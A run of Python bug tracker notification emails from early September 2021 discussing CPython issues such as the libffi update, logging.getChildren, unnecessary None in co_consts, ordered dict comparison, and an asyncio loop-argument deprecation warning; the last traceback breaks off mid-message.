report at bugs.python.org Fri Sep 3 12:53:19 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 16:53:19 +0000 Subject: [issue45022] Update libffi to 3.4.2 In-Reply-To: <1630012397.4.0.321187135755.issue45022@roundup.psfhosted.org> Message-ID: <1630687999.58.0.625438953428.issue45022@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 8c3a10e58b12608c3759fee684e7aa399facae2a by Steve Dower in branch '3.8': bpo-45022: Pin current libffi build to fixed version in preparation for upcoming update (GH-27982) (GH-28001) https://github.com/python/cpython/commit/8c3a10e58b12608c3759fee684e7aa399facae2a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 12:56:12 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 16:56:12 +0000 Subject: [issue45083] Need to use the exception class qualname when rendering exception (in C code) In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> Message-ID: <1630688172.7.0.233723429264.issue45083@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 41c23740243cc3a0699bc4d5dcfd47a0007ff039 by Miss Islington (bot) in branch '3.9': [3.9] bpo-45083: Include the exception class qualname when formatting an exception (GH-28119) (GH-28135) https://github.com/python/cpython/commit/41c23740243cc3a0699bc4d5dcfd47a0007ff039 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:01:49 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Fri, 03 Sep 2021 17:01:49 +0000 Subject: [issue45095] Easier loggers traversal tree with a logger.getChildren method Message-ID: <1630688509.83.0.0453605836271.issue45095@roundup.psfhosted.org> New submission from St?phane Blondon : Currently, logging.root.manager.loggerDict is usable to do a homemade traversal of the loggers tree. However, it's not a public interface. Adding a 'logger.getChildren()' method would help to implement the traversal. The method would return a set of loggers. Usage example: >>> import logging >>> logging.basicConfig(level=logging.CRITICAL) >>> root_logger = logging.getLogger() >>> root_logger.getChildren() set() >>> a_logger = logging.getLogger("a") >>> root_logger.getChildren() {} >>> logging.getLogger('a.b').setLevel(logging.DEBUG) >>> _ = logging.getLogger('a.c') >>> a_logger.getChildren() {, } With such method, traverse the tree will be obvious to write with a recursive function. Use cases: - to check all the loggers are setted up correctly. I wrote a small function to get all loggers, and log on every level to check the real behaviour. - to draw the loggers tree like logging_tree library (https://pypi.org/project/logging_tree/). I didn't ask to logging_tree's maintainer but I don't think he would use such function because the library works for huge range of python releases. I plan to write a PR if someone thinks it's a good idea. ---------- components: Library (Lib) messages: 401006 nosy: sblondon priority: normal severity: normal status: open title: Easier loggers traversal tree with a logger.getChildren method type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:03:00 2021 From: report at bugs.python.org (Philip Prindeville) Date: Fri, 03 Sep 2021 17:03:00 +0000 Subject: [issue43669] PEP 644: Require OpenSSL 1.1.1 or newer In-Reply-To: <1617106246.37.0.0210118077092.issue43669@roundup.psfhosted.org> Message-ID: <1630688580.32.0.0446029918826.issue43669@roundup.psfhosted.org> Change by Philip Prindeville : ---------- nosy: +philipp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:03:43 2021 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Sep 2021 17:03:43 +0000 Subject: [issue45022] Update libffi to 3.4.2 In-Reply-To: <1630012397.4.0.321187135755.issue45022@roundup.psfhosted.org> Message-ID: <1630688623.75.0.288378742705.issue45022@roundup.psfhosted.org> Change by Steve Dower : ---------- pull_requests: +26585 pull_request: https://github.com/python/cpython/pull/28146 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:04:05 2021 From: report at bugs.python.org (Philip Prindeville) Date: Fri, 03 Sep 2021 17:04:05 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1630688645.69.0.254453289182.issue33618@roundup.psfhosted.org> Change by Philip Prindeville : ---------- nosy: +philipp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:16:21 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 03 Sep 2021 17:16:21 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630689381.37.0.895189050954.issue45056@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Let's wait for 3.10.1 to backport this because I prefer to keep pyc files stable for the release candidate. Turns out that people are already preparing wheels to 3.10 and although this may be fine, I don't want to risk incompatibilities for the release. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:22:08 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 17:22:08 +0000 Subject: [issue42255] webbrowser.MacOSX is unused, untested and undocumented In-Reply-To: <1604430901.68.0.981211049507.issue42255@roundup.psfhosted.org> Message-ID: <1630689728.37.0.524429891534.issue42255@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset ce83e42437b8e5a4bf4237f981a7a90401922456 by Dong-hee Na in branch '3.9': bpo-42255: Update webbrowser doc for macOS (GH-28145) https://github.com/python/cpython/commit/ce83e42437b8e5a4bf4237f981a7a90401922456 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:22:26 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 17:22:26 +0000 Subject: [issue42255] webbrowser.MacOSX is unused, untested and undocumented In-Reply-To: <1604430901.68.0.981211049507.issue42255@roundup.psfhosted.org> Message-ID: <1630689746.16.0.878726424159.issue42255@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 2a8956c268772fd31aeeb6ee522f123af94a2926 by Dong-hee Na in branch '3.10': bpo-42255: Update webbrowser doc for macOS (GH-28144) https://github.com/python/cpython/commit/2a8956c268772fd31aeeb6ee522f123af94a2926 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:23:08 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 17:23:08 +0000 Subject: [issue42255] webbrowser.MacOSX is unused, untested and undocumented In-Reply-To: <1604430901.68.0.981211049507.issue42255@roundup.psfhosted.org> Message-ID: <1630689788.91.0.829146642664.issue42255@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 13:23:03 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 17:23:03 +0000 Subject: [issue42255] webbrowser.MacOSX is unused, untested and undocumented In-Reply-To: <1604430901.68.0.981211049507.issue42255@roundup.psfhosted.org> Message-ID: <1630689783.83.0.515104425273.issue42255@roundup.psfhosted.org> ?ukasz Langa added the comment: Thanks for the patches, Dong-hee Na! ? ? ? ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 14:32:07 2021 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 03 Sep 2021 18:32:07 +0000 Subject: [issue12499] textwrap.wrap: add control for fonts with different character widths In-Reply-To: <1309835004.91.0.584156217993.issue12499@psf.upfronthosting.co.za> Message-ID: <1630693927.78.0.797087245494.issue12499@roundup.psfhosted.org> ?ric Araujo added the comment: A PR was opened for this. `text_len` is used as param/attribute name. ---------- versions: +Python 3.11 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 14:37:40 2021 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Sep 2021 18:37:40 +0000 Subject: [issue45022] Update libffi to 3.4.2 In-Reply-To: <1630012397.4.0.321187135755.issue45022@roundup.psfhosted.org> Message-ID: <1630694260.11.0.145448599279.issue45022@roundup.psfhosted.org> Steve Dower added the comment: New changeset 6f8bc464e006f672d1aeafbfd7c774a40215dab2 by Steve Dower in branch 'main': bpo-45022: Update libffi to 3.4.2 in Windows build (GH-28146) https://github.com/python/cpython/commit/6f8bc464e006f672d1aeafbfd7c774a40215dab2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 14:41:01 2021 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Sep 2021 18:41:01 +0000 Subject: [issue45022] Update libffi to 3.4.2 In-Reply-To: <1630012397.4.0.321187135755.issue45022@roundup.psfhosted.org> Message-ID: <1630694461.76.0.687902982493.issue45022@roundup.psfhosted.org> Steve Dower added the comment: So on one hand, this change applies cleanly and it appears nothing needs to change to adopt the newer version. On the other hand, because the libffi DLL has a different name, it changes the layout on disk. I know we don't do that (except in exceptional circumstances) after beta, but perhaps this one is safe enough? We certainly don't "support" directly accessing the libffi DLL, but it still could break users (if, for example, they load another native module that implicitly used the older libffi and would now fail to load when it's missing). Any thoughts? ---------- stage: patch review -> backport needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 14:57:00 2021 From: report at bugs.python.org (Michael Rans) Date: Fri, 03 Sep 2021 18:57:00 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630695420.71.0.301173157149.issue45093@roundup.psfhosted.org> Michael Rans added the comment: Thank you. Another case is in round trip processing of JSON or YML. Other cases are where you would prefer an OrderedDict over a dict. I think the method would help clarify things because it would make it obvious that it is for ordered comparisons while the existing == does not do that. eg. something like: d1.compare_ordered(d2) or: d1.compare(d2, ordered=True) # ordered could be by default True ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 15:02:38 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 03 Sep 2021 19:02:38 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1630695758.29.0.696392872854.issue37596@roundup.psfhosted.org> Change by Brandt Bucher : ---------- pull_requests: +26586 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/28147 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 15:43:48 2021 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Sep 2021 19:43:48 +0000 Subject: [issue45096] Update Tools/freeze to make use of Tools/scripts/freeze_modules.py? Message-ID: <1630698228.01.0.74483718816.issue45096@roundup.psfhosted.org> New submission from Eric Snow : In bpo-45019 we added Tools/scripts/freeze_modules.py to improve how we manage which modules get frozen by default. (We turned previously manual steps into automation of generated code.) There is probably some overlap with what we do in Tools/freeze/freeze.py. Is so, we should make changes for better re-use. ---------- components: Demos and Tools messages: 401015 nosy: eric.snow, lemburg priority: normal severity: normal stage: needs patch status: open title: Update Tools/freeze to make use of Tools/scripts/freeze_modules.py? type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 15:51:55 2021 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 03 Sep 2021 19:51:55 +0000 Subject: [issue45053] MD5SumTests.test_checksum_fodder fails on Windows In-Reply-To: <1630347779.05.0.821089086925.issue45053@roundup.psfhosted.org> Message-ID: <1630698715.72.0.596916688735.issue45053@roundup.psfhosted.org> Nikita Sobolev added the comment: Yes, it was encodings problem :) This line solved it (here: https://github.com/python/cpython/blob/6f8bc464e006f672d1aeafbfd7c774a40215dab2/Tools/scripts/md5sum.py#L69): ```python out.write('%s %s\n' % (m.hexdigest(), filename.encode( sys.getfilesystemencoding(), ).decode(sys.stdout.encoding))) ``` > The simplest way to "fix" the test is using TESTFN_ASCII instead of TESTFN. I haven't changed this, because right now it should work for non-ASCII symbols as well. I can even add an explicit ASCII test if needed. Shouldn't https://github.com/python/cpython/pull/28060 be merge before I submit a new PR, so we can be sure that test now works? In the current state it will be just ignored. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 16:12:53 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 03 Sep 2021 20:12:53 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630689381.37.0.895189050954.issue45056@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Are you sure? I know we're really close to the release, but I'd much rather change the PYC format during the RC cycle than once we're doing bugfix releases. I don't think we've ever changed the magic number between bugfix releases. (I realize this doesn't change the magic number, but it's probably also the first time we make a change that affects marshal output without requiring changes in marshal input. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 17:39:31 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 03 Sep 2021 21:39:31 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630705171.74.0.243554529666.issue45075@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 0b58e863df9970b290a4de90c67f9ac30c443817 by Irit Katriel in branch 'main': bpo-45075: distinguish between frame and FrameSummary in traceback mo? (GH-28112) https://github.com/python/cpython/commit/0b58e863df9970b290a4de90c67f9ac30c443817 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 17:41:37 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 03 Sep 2021 21:41:37 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630705297.39.0.128895320314.issue45075@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 17:58:39 2021 From: report at bugs.python.org (Sam Bull) Date: Fri, 03 Sep 2021 21:58:39 +0000 Subject: [issue42130] AsyncIO's wait_for can hide cancellation in a rare race condition In-Reply-To: <1603469429.01.0.760360212477.issue42130@roundup.psfhosted.org> Message-ID: <1630706319.22.0.945002772911.issue42130@roundup.psfhosted.org> Change by Sam Bull : ---------- nosy: +dreamsorcerer nosy_count: 8.0 -> 9.0 pull_requests: +26587 pull_request: https://github.com/python/cpython/pull/28149 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 18:30:34 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 03 Sep 2021 22:30:34 +0000 Subject: [issue23354] Loading 2 GiLOC file which raises exception causes wrong traceback In-Reply-To: <1422675641.92.0.509373230042.issue23354@psf.upfronthosting.co.za> Message-ID: <1630708234.11.0.240941000166.issue23354@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> wont fix status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 19:33:08 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 03 Sep 2021 23:33:08 +0000 Subject: [issue25291] better Exception message for certain task termination scenario In-Reply-To: <1443729479.04.0.835148542508.issue25291@psf.upfronthosting.co.za> Message-ID: <1630711988.18.0.50679585427.issue25291@roundup.psfhosted.org> Irit Katriel added the comment: This is doing something different now (on 3.11): iritkatriel at Irits-MBP cpython % ./python.exe ttt.py /Users/iritkatriel/src/cpython/ttt.py:5: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() i am task.. [here it hangs and I kill it with ctrl-C] ^CTraceback (most recent call last): File "/Users/iritkatriel/src/cpython/ttt.py", line 12, in loop.run_forever() ^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/Lib/asyncio/base_events.py", line 595, in run_forever self._run_once() ^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/Lib/asyncio/base_events.py", line 1841, in _run_once event_list = self._selector.select(timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/Lib/selectors.py", line 562, in select kev_list = self._selector.control(None, max_ev, timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ KeyboardInterrupt Task exception was never retrieved future: exception=RuntimeError('Task does not support set_exception operation')> Traceback (most recent call last): File "/Users/iritkatriel/src/cpython/ttt.py", line 8, in task myself.set_exception(RuntimeError('something bad')) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ RuntimeError: Task does not support set_exception operation ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 19:39:51 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Sep 2021 23:39:51 +0000 Subject: [issue20658] os.environ.clear() fails with empty keys (posix.unsetenv) In-Reply-To: <1392642368.27.0.300660634921.issue20658@psf.upfronthosting.co.za> Message-ID: <1630712391.72.0.749516676171.issue20658@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- versions: +Python 3.11 -Python 2.7, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 20:27:10 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 00:27:10 +0000 Subject: [issue45034] Improve struct.pack out of range error messages In-Reply-To: <1630112525.53.0.10403701832.issue45034@roundup.psfhosted.org> Message-ID: <1630715230.48.0.150516535695.issue45034@roundup.psfhosted.org> Terry J. Reedy added the comment: I agree, including use of hex, if possible, for unsigned (non-negative) values. Grepping 'format requires' returns F:\dev\3x\Modules\_struct.c: 365: "'%c' format requires 0 <= number <= %zu", F:\dev\3x\Modules\_struct.c: 371: "'%c' format requires %zd <= number <= %zd", F:\dev\3x\Modules\_struct.c: 550: "byte format requires -128 <= number <= 127"); F:\dev\3x\Modules\_struct.c: 565: "ubyte format requires 0 <= number <= 255"); F:\dev\3x\Modules\_struct.c: 577: "char format requires a bytes object of length 1"); F:\dev\3x\Modules\_struct.c: 593: "short format requires " Py_STRINGIFY(SHRT_MIN) F:\dev\3x\Modules\_struct.c: 611: "ushort format requires 0 <= number <= " Py_STRINGIFY(USHRT_MAX)); I believe l365 is the source for the 2nd example. AFAIK, 'zu' is not valid for either C printf or Python % formating. Lines 611 and 612 are the source for the 1st example. From comments before line 365, there can be issues with lefts shifts, but '0xffff', '0xffff_ffff', and '0xffff_ffff_ffff_ffff' could be hard-coded strings that would cover all 'normal' systems. Grepping "argument out of range" returns F:\dev\3x\Modules\_struct.c: 168: "argument out of range"); F:\dev\3x\Modules\_struct.c: 192: "argument out of range"); F:\dev\3x\Modules\_struct.c: 215: "argument out of range"); F:\dev\3x\Modules\_struct.c: 238: "argument out of range"); F:\dev\3x\Modules\_struct.c: 261: "argument out of range"); F:\dev\3x\Modules\_struct.c: 284: "argument out of range"); It is nnclear to me without more reading why some codes lead to this less helpful message. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 20:29:53 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 04 Sep 2021 00:29:53 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630715393.72.0.520957930053.issue45056@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I honestly want to backport it because I think it should not have any negative impact, but on the other hand I don't feel very confident as the release candidate phase is supposed to be as close as possible as the final release and this is not fixing a critical bug. The devguide says about the RC: >>Generally, these issues must be severe enough (e.g. crashes) that they deserve fixing before the final release. All other issues should be deferred to the next development cycle, since stability is the strongest concern at this point. I am just trying to be cautious but on the other hand we still have anltbet release candidate for people to try it out before the final release so if you all think is better to have this on the RC and this is not going to be an issue for existing universal wheels and the like, then I suppose we can merge it before Rc2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 20:34:38 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 04 Sep 2021 00:34:38 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630715678.85.0.109566847712.issue45093@roundup.psfhosted.org> Raymond Hettinger added the comment: -1 The dict API is to important to be burdened with a mostly useless and rarely needed method. Besides we already have simple ways to do it, for example: assert list(d.items()) == list(e.items()) or: assert OrderedDict(d) == OrderedDict(e) ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 20:35:37 2021 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 04 Sep 2021 00:35:37 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630715737.46.0.757568116715.issue45056@roundup.psfhosted.org> Guido van Rossum added the comment: Since we're not changing the magic number, wheels created for rc1 will still work with the final 3.10 (and vice versa!) -- creating a wheel or PYC file just will produce a different sequence of bytes, but there are other things that do that. Then again, since we're not changing the magic number, it's not the end of the world to put off the backport to 3.10.1. So I've convinced myself that it actually doesn't matter, and probably it's best to wait for 3.10.1 (changes to the compiler are always risky). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 20:52:02 2021 From: report at bugs.python.org (Inada Naoki) Date: Sat, 04 Sep 2021 00:52:02 +0000 Subject: [issue36521] Consider removing docstrings from co_consts in code objects In-Reply-To: <1554339855.64.0.463077014069.issue36521@roundup.psfhosted.org> Message-ID: <1630716722.13.0.707445591704.issue36521@roundup.psfhosted.org> Inada Naoki added the comment: > I am still not convinced that it's a good idea to put the docstring in the surrounding code object. I'd like to be able to see it when I introspect a code object, not just when introspecting a function object (I may be analyzing code only, and it's hard to connect the code object with the NEW_FUNCTION opcode in the parent code object -- you have to scan the bytecode, which is fragile.) I think that reasoning is not strong enough to add new member to code object. * Modules and classes don't get docstring from their code objects. Why only functions need to store docstring? * Lambdas, comprehensions, and PEP 649 (if acceptted) uses code objects but no docstring. Why they need to pay cost of `co_doc` member? (cost = memory + unmarshal time). Code objects have filename and firstlineno. And there are many functions without docstring. So removing docstring from code object won't make inspection hard so much. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 21:03:49 2021 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 04 Sep 2021 01:03:49 +0000 Subject: [issue36521] Consider removing docstrings from co_consts in code objects In-Reply-To: <1554339855.64.0.463077014069.issue36521@roundup.psfhosted.org> Message-ID: <1630717429.05.0.453441880423.issue36521@roundup.psfhosted.org> Guido van Rossum added the comment: Let's wait until Mark Shannon is back from vacation (another week). Note that class docstrings *are* contained in the class body code object -- there's executable code equivalent to __doc__ = "this is the docstring" But I agree it's not easily found without analyzing the bytecode. Maybe the status quo is best after all? I would like to be able to identify code objects for functions, we could add a bit to co_flags for that. ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 21:03:54 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 01:03:54 +0000 Subject: [issue45058] Undefined behavior for syntax "except AError or BError:" accepted by interpreter In-Reply-To: <1630409490.64.0.879285632353.issue45058@roundup.psfhosted.org> Message-ID: <1630717434.44.0.370739297945.issue45058@roundup.psfhosted.org> Terry J. Reedy added the comment: "except a or b:" should be same as "except (a or b):" which should be same as "except a:", which is current behavior in 3.10.0, etc. ---------- nosy: +terry.reedy resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 21:08:25 2021 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 04 Sep 2021 01:08:25 +0000 Subject: [issue45020] Freeze all modules imported during startup. In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org> Message-ID: <1630717705.59.0.552743885416.issue45020@roundup.psfhosted.org> Nick Coghlan added the comment: For the module metadata problem: one potential approach to that for "designed to be frozen" stdlib modules is to set the values directly in the module code, rather than trying to set them automatically in the frozen import machinery. It should also be possible to delete the implicitly created metadata fields and use module level dynamic attribute retrieval to find the stdlib source code for tracebacks and introspection purposes without incurring any start up costs. ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 21:13:18 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 01:13:18 +0000 Subject: [issue45060] Do not use the equality operators with None In-Reply-To: <1630410458.57.0.930194989698.issue45060@roundup.psfhosted.org> Message-ID: <1630717998.1.0.328006158377.issue45060@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset e2b29304137e6253b7bb89c180ef5d113d60b4eb by Serhiy Storchaka in branch '3.10': [3.10] bpo-45060: Get rid of few uses of the equality operators with None (GH-28087). (GH-28092) https://github.com/python/cpython/commit/e2b29304137e6253b7bb89c180ef5d113d60b4eb ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 21:14:15 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 01:14:15 +0000 Subject: [issue45060] Do not use the equality operators with None In-Reply-To: <1630410458.57.0.930194989698.issue45060@roundup.psfhosted.org> Message-ID: <1630718055.22.0.57947541319.issue45060@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 22:07:00 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 02:07:00 +0000 Subject: [issue45086] f-string unmatched ']' In-Reply-To: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> Message-ID: <1630721220.05.0.115323228855.issue45086@roundup.psfhosted.org> Terry J. Reedy added the comment: The behavior remains the same in 3.11 ('main' branch). New PEG parser parses this the same. (Pablo, if there is a mistake below, please correct.) Normally, the parser copies code chars between quotes, with or without '\' interpretation, into a string object. When the 'f' prefix is given, the string gets divided into substrings and replacement fields. The code part of each replacement field is separately parsed. There are two options: 1. parse the field code while looking for an endcode marker; 2. look ahead for an endcode marker and then parse the code. The current behavior is consistent with opotion 1 and the python policy of reporting the first error found and exiting, rather than trying to resynchronize to try to find more errors. ---------- nosy: +pablogsal, terry.reedy resolution: -> not a bug stage: -> resolved status: open -> closed versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 22:27:46 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 04 Sep 2021 02:27:46 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630722466.19.0.673707449452.issue45093@roundup.psfhosted.org> Raymond Hettinger added the comment: -1 The dict API is too important to be burdened with a mostly useless and rarely needed method. Besides we already have simple ways to do it, for example: assert list(d.items()) == list(e.items()) or: assert OrderedDict(d) == OrderedDict(e) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 22:27:55 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 04 Sep 2021 02:27:55 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630722475.14.0.868799188319.issue45093@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- Removed message: https://bugs.python.org/msg401022 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 22:35:34 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 02:35:34 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630722934.67.0.300933719767.issue45093@roundup.psfhosted.org> Terry J. Reedy added the comment: -1 also for the reasons given. Michael, a question asking how would have made a good python-list post. So I posted the answers in "How to include insertion order in dict equality" ---------- nosy: +terry.reedy resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 22:41:26 2021 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Sat, 04 Sep 2021 02:41:26 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it Message-ID: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> New submission from Chih-Hsuan Yen : With Python 3.9.7, "DeprecationWarning: The loop argument is deprecated" may be reported when user code does not use it. Here is an example: import asyncio import warnings warnings.filterwarnings('error') def crash(): raise KeyboardInterrupt async def main(): asyncio.get_event_loop().call_soon(crash) await asyncio.sleep(5) try: asyncio.run(main()) except KeyboardInterrupt: pass On 3.9.6, no warning is reported, while results on 3.9.7 are Traceback (most recent call last): File "/usr/lib/python3.9/asyncio/runners.py", line 44, in run return loop.run_until_complete(main) File "/usr/lib/python3.9/asyncio/base_events.py", line 629, in run_until_complete self.run_forever() File "/usr/lib/python3.9/asyncio/base_events.py", line 596, in run_forever self._run_once() File "/usr/lib/python3.9/asyncio/base_events.py", line 1890, in _run_once handle._run() File "/usr/lib/python3.9/asyncio/events.py", line 80, in _run self._context.run(self._callback, *self._args) File "/home/yen/var/local/Computer/archlinux/community/python-anyio/trunk/cpython-3.9.7-regression.py", line 11, in crash raise KeyboardInterrupt KeyboardInterrupt During handling of the above exception, another exception occurred: Traceback (most recent call last): File 